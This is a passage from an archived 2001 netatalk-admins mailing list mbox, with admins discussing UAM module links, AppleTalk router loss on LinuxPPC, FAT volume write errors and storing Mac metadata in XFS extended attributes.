Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA09263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 16:23:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA09249
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 16:23:15 -0500 (EST)
Received: from grays.ctea.com (grays.ctea.com [208.35.60.140])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA09126
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 16:23:10 -0500 (EST)
Received: (qmail 23139 invoked from network); 12 Nov 2001 21:20:38 -0000
Received: from shpk4501.ctea.com (root@199.117.188.88)
  by grays.ctea.com with SMTP; 12 Nov 2001 21:20:38 -0000
Received: from hain-celestial.com (sneetch.ctea.com [199.117.189.89])
	by shpk4501.ctea.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id OAA17392
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 14:20:31 -0700 (MST)
Message-ID: <3BF03D9C.2050500@hain-celestial.com>
Date: Mon, 12 Nov 2001 14:22:36 -0700
From: Dave Higgins <dhiggins@hain-celestial.com>
Organization: Hain-Celestial
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011012
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Solved problem
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

The issues that I was running into was that uams_clrtxt.so and 
uams_dhx.so were linked to non-existant files and I relinked them to 
uams_passwd.so and uams_dhx_passwd.so respectively and I had success.

Thanks.
-- 
David Higgins
Systems Administrator
RHI Consulting
303-581-1304
--
A motion to adjourn is always in order.


From netatalk.administrators-errors@umich.edu  Mon Nov 12 16:38:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA29501
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 16:38:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA18490
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 16:38:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA18475
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 16:38:12 -0500 (EST)
Received: from wizard.wgbh.org (wizard.wgbh.org [198.147.175.86])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA18406
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 16:38:10 -0500 (EST)
Received: from 10.125.10.23 ([10.125.10.23])
	by wizard.wgbh.org (8.9.3/8.8.7) with SMTP id QAA25444
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 16:35:32 -0500
Date: 12 Nov 2001 16:43:22 -0500
Message-ID: <-1206539097gus_holcomb@wgbh.org>
Sender: Gus Holcomb <gus_holcomb@wgbh.org>
From: Gus Holcomb <gus_holcomb@wgbh.org>
Subject: Re: Solved problem
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA29501

Brilliant!
  Guess I should have checked that first! Thanks for the help.

-Gus Holcomb

On Monday, November 12, 2001, Dave Higgins <dhiggins@hain-celestial.com> wrote:
>The issues that I was running into was that uams_clrtxt.so and 
>uams_dhx.so were linked to non-existant files and I relinked them to 
>uams_passwd.so and uams_dhx_passwd.so respectively and I had
>success.
>
>Thanks.
>-- 
>David Higgins
>Systems Administrator
>RHI Consulting
>303-581-1304
>--
>A motion to adjourn is always in order.
>


From netatalk.administrators-errors@umich.edu  Mon Nov 12 18:08:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA04481
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 18:08:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA14168
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 18:08:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA14153
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 18:08:29 -0500 (EST)
Received: from mta05.mail.mel.aone.net.au (mta05.mail.au.uu.net [203.2.192.85])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA13913
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 18:08:22 -0500 (EST)
Received: from faxserver ([63.34.218.152]) by mta05.mail.mel.aone.net.au
          with ESMTP
          id <20011112230812.MXTQ4322.mta05.mail.mel.aone.net.au@faxserver>;
          Tue, 13 Nov 2001 10:08:12 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 163Q9A-0003nH-00; Tue, 13 Nov 2001 10:05:44 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 13 Nov 2001 10:05:44 +1100
Subject: Re: "The item cannot be written.."
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B816A0F8.2D85%editor.ac@churchesofchrist.org.au>
In-Reply-To: <B815E30B.2CF60%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I sometimes get that error when accessing a 4th Dimension database on a
shared ext2 volume after having previously used it. I have to unmount and
then remount the volume and the problem disappears. It is not caused by
another user accessing the database as it even occurs when I'm the only
person who has previously accessed it.

Nigel.

> From: Thomas Schierle <ts@visual-s.de>
> Date: Mon, 12 Nov 2001 21:19:06 +0100
> To: Netatalk-Admins <netatalk-admins@umich.edu>
> Subject: Re: "The item cannot be written.."
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 12 Nov 2001 15:25:50 -0500 (EST)
> 
>> On Mon, 12 Nov 2001 20:44:12 +1100 cpaul wrote:
>> 
>>> the linux directory is on a fat volume.
>> 
>> i can't reproduce the problem if copying to a ext2 volume.
>> 
>> is there a known problem with fat?
> 


From netatalk.administrators-errors@umich.edu  Mon Nov 12 18:11:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA04613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 18:11:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA19853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 18:11:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA19834
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 18:11:26 -0500 (EST)
Received: from www.fastmedia.com.au (fastmedia.com [209.217.53.54])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA19798
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 18:11:25 -0500 (EST)
Received: from desktop (sdcax1-a176.dialup.optusnet.com.au [210.49.100.176])
	by www.fastmedia.com.au (8.9.3/8.9.3) with SMTP id JAA32282
	for <netatalk-admins@umich.edu>; Tue, 13 Nov 2001 09:11:16 +1000
Date: Tue, 13 Nov 2001 09:01:07 +1100
From: cpaul <inc@fastmedia.net>
To: netatalk-admins@umich.edu
Subject: Re: "The item cannot be written.."
Message-Id: <20011113090107.3751be67.inc@fastmedia.net>
In-Reply-To: <B815E30B.2CF60%ts@visual-s.de>
References: <20011112210100.1adab5eb.inc@fastmedia.net>
	<B815E30B.2CF60%ts@visual-s.de>
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


On Mon, 12 Nov 2001 21:19:06 +0100 Thomas Schierle wrote:

> In my understanding, FAT support is just meant as a way
> to access files residing on non-native media from a Linux box,
> but it isn't considered a suitable file system for Linux
> boxes and therefore of cause not suitable to be shared out r/w.


please don't consider this a request for FAT support :-)


thanks.  



From netatalk.administrators-errors@umich.edu  Mon Nov 12 18:15:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05030
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 18:15:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA28870
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 18:15:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA28868
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 18:15:36 -0500 (EST)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA28835
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 18:15:34 -0500 (EST)
Received: from faxserver ([63.34.218.152]) by mta01.mail.mel.aone.net.au
          with ESMTP
          id <20011112231531.CSYY100.mta01.mail.mel.aone.net.au@faxserver>;
          Tue, 13 Nov 2001 10:15:31 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 163QC6-0003nQ-00; Tue, 13 Nov 2001 10:08:46 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 13 Nov 2001 10:08:46 +1100
Subject: Re: authentication protocols?
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Gus Holcomb <gus_holcomb@wgbh.org>, netatalk <netatalk-admins@umich.edu>
Message-ID: <B816A1AE.2D86%editor.ac@churchesofchrist.org.au>
In-Reply-To: <-1206541675gus_holcomb@wgbh.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

What version of MacOS, on some earlier versions, e.g. 8.6 for us, we had to
upgrade the AppleShare client.

Nigel.

> From: Gus Holcomb <gus_holcomb@wgbh.org>
> Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
> Date: 12 Nov 2001 16:00:23 -0500
> To: <netatalk-admins@umich.edu>
> Subject: authentication protocols?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 12 Nov 2001 16:03:12 -0500 (EST)
> 
> I've gotten netatalk working with appleshare over IP, which is all i really
> needed. So I'm happy with that. Unfortunatly, I can't get the authentication
> schemes to work appropriatly.
> 


From netatalk.administrators-errors@umich.edu  Mon Nov 12 18:25:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05451
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 18:25:02 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA16867
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 18:25:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA16851
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 18:25:01 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA16771
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 18:24:58 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id KAA00830
	for <netatalk-admins@umich.edu>; Tue, 13 Nov 2001 10:24:56 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BF04C3D.AACE9BFF@arts.usyd.edu.au>
Date: Tue, 13 Nov 2001 09:25:01 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com> 
			<3BEEAE26.F3D9B998@white-mountain.org> <1005575871.29801.18.camel@comp10574> <3BEFEFEB.37C592F4@white-mountain.org>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms4F147E86DAA2DD40881544B0"

This is a cryptographically signed message in MIME format.

--------------ms4F147E86DAA2DD40881544B0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jamie Flournoy wrote:
> 
> That's unfortunate. In an ideal setup, the filesystem would know about multiple file
> extents and extra file metadata, and so when SAMBA moved or deleted something, the
> Mac metadata and Resource fork would be moved by the OS as well. I believe this is
> what NT and Netware do when sharing files to a Mac.

 Their file systems support extended attributes or streams or forks. (I
think the NTFS stream is nearly equivalent to the HFS fork).

 Common Linux/Unix file systems don't have such support. Linux is slowly
gaining extended attribute support, being driven by ACL support in EXT3
and XFS file systems.
 I've been tossing around an idea where NetAtalk would use XFS extended
attributes to store the Mac metadata and not .AppleDouble files. On the
Unix/Samba side if some one renamed the file, it wouldn't matter so much
as the metadata would stay associated, although it would break the CNID
database association.
 Only problem is real resource forks. XFS has a 64k limit on extended
attributes - and a resource fork could be bigger, so resource forks have
to still exist as separate files in the unix file system.


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms4F147E86DAA2DD40881544B0
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTExMTIyMjI1MDJaMCMGCSqGSIb3DQEJBDEWBBQOcI7l
82eJqxP1gkwOp9y45EYgezA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgA98djnZjf48i0SBjwDo
wrrEIJhCuoIhAPoi4yxGvdMCUquIE3Q2Jt9tw5n0Nwc1cyDhpmP37MjF2c+yOTAAOz9LKAy/
1yhVr9CUVYWTslsAiVsKD8Si7wGqDs3tuF/vLgUcBPOharo0+TPLSGUh2e2jYUXnC+bVXzBZ
uDzMbESc
--------------ms4F147E86DAA2DD40881544B0--


From netatalk.administrators-errors@umich.edu  Mon Nov 12 20:11:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA09586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 20:11:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA06151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 20:11:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA06134
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 20:11:56 -0500 (EST)
Received: from usc.edu (usc.edu [128.125.253.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA06097
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 20:11:55 -0500 (EST)
Received: from wrigley.usc.edu (root@wrigley.usc.edu [128.125.7.185])
	by usc.edu (8.9.3.1/8.9.3/usc) with ESMTP
	id RAA18503 for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 17:12:07 -0800 (PST)
Received: from wrigley-pc.wrigley.usc.edu (msc-pc11.usc.edu [128.125.198.47])
	by wrigley.usc.edu (8.9.3.1/8.9.3/usc) with ESMTP
	id RAA15022 for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 17:12:07 -0800 (PST)
Message-Id: <5.1.0.14.0.20011112164726.00a95030@wrigley.usc.edu>
X-Sender: hjshiu@wrigley.usc.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 12 Nov 2001 17:11:51 -0800
To: netatalk-admins@umich.edu
From: Henry Shiu <hjshiu@wrigley.usc.edu>
Subject: Periodic loss of Appletalk router/zones
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi all,

Every once in a while, my linux box loses contact with the Appletalk 
router.  As a result, it can't get Appletalk zone and address information 
from the router, so it creates its own Appletalk network which can't be 
seen by any of the Macs on the network.  Usually, I find out when I look 
for my linux box in the Chooser and it isn't there.  AFP over TCP/IP 
continues on like a champ.

If I run getzones on my linux box, I get
         atp_resp: Connection timed out

If I restart atalkd with...
         /etc/init.d/atalk restart

If I look in my syslog at this point, it says...
         atalkd[10612]: restart (1.5pre6)
         atalkd[10612]: zip_getnetinfo for eth0
         last message repeated 2 times
         atalkd[10612]: config for no router
         atalkd[10612]: ready 0/0/0
         atalk: atalkd startup succeeded

I continue to get the same thing.  If I try to be clever and kill all my 
Appletalk related processes and then unload and reinstall the module...
         /etc/init.d/atalk stop (although I often kill these processes 
manually)
         rmmod appletalk
         insmod appletalk
         /etc/init.d/atalk start

I get the same thing.

If I reboot, everything comes back great, but for obvious reasons, 
rebooting isn't my first choice as a solution (among other things, it makes 
me feel like I'm using a non *nix OS for my server).

I'm running LinuxPPC 2000 Q4 with the default kernel and 
configuration.  The syslog message as it starts is...
         kernel: NET4: AppleTalk 0.18 for Linux NET4.0

I'm running netatalk 1.5pre6.

On top of all that, the sky just opened up and it sounds like a monsoon 
outside and I'm about to bike home.

Any thoughts?  Thanks!

Henry



Henry Shiu
Assistant Diving Safety Officer
Wrigley Marine Science Center

P.O. Box 5069
One Big Fisherman Cove
Avalon, CA  90704
(310) 510-4002
hjshiu@wrigley.usc.edu
http://wrigley.usc.edu/


From netatalk.administrators-errors@umich.edu  Mon Nov 12 20:33:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA10874
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 20:33:21 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA25717
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 20:33:21 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA25695
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 20:33:20 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA25629
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 20:33:18 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fAD1X0523448;
	Mon, 12 Nov 2001 17:33:00 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Nov 2001 17:33:03 -0800
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Steve Freitas <sflist@ihonk.com>
To: Matthew Geier <matthew@arts.usyd.edu.au>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B815B84F.9773%sflist@ihonk.com>
In-Reply-To: <3BF04C3D.AACE9BFF@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> it wouldn't matter so much
> as the metadata would stay associated, although it would break the CNID
> database association.

Wouldn't the extended attributes be a good place to put the DID info? Then
the whole CNID database thang would go away.

> Only problem is real resource forks. XFS has a 64k limit on extended
> attributes - and a resource fork could be bigger, so resource forks have
> to still exist as separate files in the unix file system.

Reiser v4 may give you what you want. Of course, you'll have to wait until
30 Sept 2002, then another year before everyone says it's production-ready.
:-( Are there any other options?

Steve


From netatalk.administrators-errors@umich.edu  Mon Nov 12 20:43:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA11221
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 20:43:13 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA14230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 20:43:13 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA14209
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 20:43:13 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA14145
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 20:43:11 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id MAA19034;
	Tue, 13 Nov 2001 12:43:06 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BF06C9B.3EA4355A@arts.usyd.edu.au>
Date: Tue, 13 Nov 2001 11:43:07 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Steve Freitas <sflist@ihonk.com>, netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <B815B84F.9773%sflist@ihonk.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msAFF9F6584F3A431E5EE8F39E"

This is a cryptographically signed message in MIME format.

--------------msAFF9F6584F3A431E5EE8F39E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve Freitas wrote:
> 
> > it wouldn't matter so much
> > as the metadata would stay associated, although it would break the CNID
> > database association.
> 
> Wouldn't the extended attributes be a good place to put the DID info? Then
> the whole CNID database thang would go away.

 But then you cannot search for a DID with out traversing the entire
file system looking for it.

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msAFF9F6584F3A431E5EE8F39E
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
